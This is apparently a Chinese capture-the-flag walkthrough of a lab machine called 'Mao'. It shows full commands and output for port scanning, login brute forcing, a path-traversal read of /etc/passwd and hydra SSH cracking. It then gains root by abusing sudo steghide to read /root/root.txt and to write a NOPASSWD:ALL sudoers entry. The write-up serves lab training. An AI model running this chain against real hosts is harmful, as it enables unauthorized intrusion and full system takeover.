1.信息收集
1.1端口扫描
┌──(kali㉿kali)-[~]
└─$ nmap -A -p- 192.168.1.13
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-08 05:05 EST
Nmap scan report for bogon (192.168.1.13)
Host is up (0.0065s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: \xE7\x99\xBB\xE5\xBD\x95
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
查看web端页面，是个登陆页面
bp爆破成功
admin:pinkgirl
登录
看url，有点像文件包含，查看passwd
?page=../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
lingmj:x:1000:1000:,,,:/home/lingmj:/bin/bash
oneoneone:x:1001:1001:,,,:/home/oneoneone:/bin/bash
todd:x:1002:1002:,,,:/home/todd:/bin/bash
前25个用户（从
root到sshd）大多是系统服务或进程使用的系统用户 。它们的登录Shell通常是/usr/sbin/nologin或/bin/false，意味着它们不能用于普通交互式登录。最后3个用户（
lingmj,oneoneone,todd）是普通用户 。它们的登录Shell是/bin/bash，并且拥有独立的家目录（/home/用户名），是可以正常登录系统的账户。
hydra爆破
hydra -l lingmj -P /usr/share/wordlists/rockyou.txt 192.168.1.7 ssh
22\]\[ssh\] host: 192.168.1.7 login: lingmj password: babyface
查看权限
lingmj@Mao:~$ sudo -l
Matching Defaults entries for lingmj on Mao:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User lingmj may run the following commands on Mao:
(ALL) NOPASSWD: /usr/bin/steghide
steghide，图片隐写
方法一：直接包含root.txt
首先在物理机上准备1.jpg，将防火墙关闭，我将它放入了 C:\Users\16794 ，打开cmd，开启http端口：
python -m http.server 8000
传入靶机1.jpg文件（正常情况下jpg大小为几百kb算是正常的
靶机：
lingmj@Mao:~$ busybox wget http://192.168.1.5:8000/1.jpg
Connecting to 192.168.1.5:8000 (192.168.1.5:8000)
1.jpg 100% |*****************************| 13587 0:00:00 ETA
将root文件隐藏到1.jpg中
lingmj@Mao:~$ sudo /usr/bin/steghide embed -ef /root/root.txt -cf ./1.jpg
Enter passphrase:
Re-Enter passphrase:
embedding "/root/root.txt" in "./1.jpg"... done
embed：嵌入文件
-ef：指定隐藏文件
-cf：指定载体文件
提取隐藏文件
/usr/bin/steghide extract -sf ./1.jpg
extract：提取数据
-sf：指定隐藏数据的载体文件
方法二：为lingmj赋予无密码执行完整sudo权限
首先创建一个恶意文件，这个文件是赋予lingmj无密码执行所有sudo命令的权限
echo 'lingmj ALL =(ALL:ALL) NOPASSWD:ALL' > a
隐写放入/etc/sudoers.d特权目录下
隐写
lingmj@Mao:~$ steghide embed -cf 1.jpg -ef a
Enter passphrase:
Re-Enter passphrase:
embedding "a" in "1.jpg"... done
进目录
lingmj@Mao:~$ cd /etc/sudoers.d
lingmj@Mao:/etc/sudoers.d$ ls -al
total 12
drwxr-xr-x 2 root root 4096 Apr 4 2025 .
drwxr-xr-x 82 root root 4096 Dec 25 06:11 ..
-r--r----- 1 root root 958 Jan 14 2023 README
放入
lingmj@Mao:/etc/sudoers.d$ sudo steghide extract -sf ~/1.jpg
Enter passphrase:
wrote extracted data to "a".
lingmj@Mao:/etc/sudoers.d$ ls -al
total 16
drwxr-xr-x 2 root root 4096 Dec 25 07:04 .
drwxr-xr-x 82 root root 4096 Dec 25 06:11 ..
-rw-r--r-- 1 root root 34 Dec 25 07:05 a
-r--r----- 1 root root 958 Jan 14 2023 README
查看
lingmj@Mao:/etc/sudoers.d$ cat a
lingmj ALL=(ALL:ALL) NOPASSWD:ALL
验证当前用户权限
lingmj@Mao:/etc/sudoers.d$ sudo -l
Matching Defaults entries for lingmj on Mao:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User lingmj may run the following commands on Mao:
(ALL) NOPASSWD: /usr/bin/steghide
(ALL : ALL) NOPASSWD: ALL
切换到 root 用户完整登录环境
lingmj@Mao:/etc/sudoers.d$ sudo -i
root@Mao:~# ls
rootpass.bak root.txt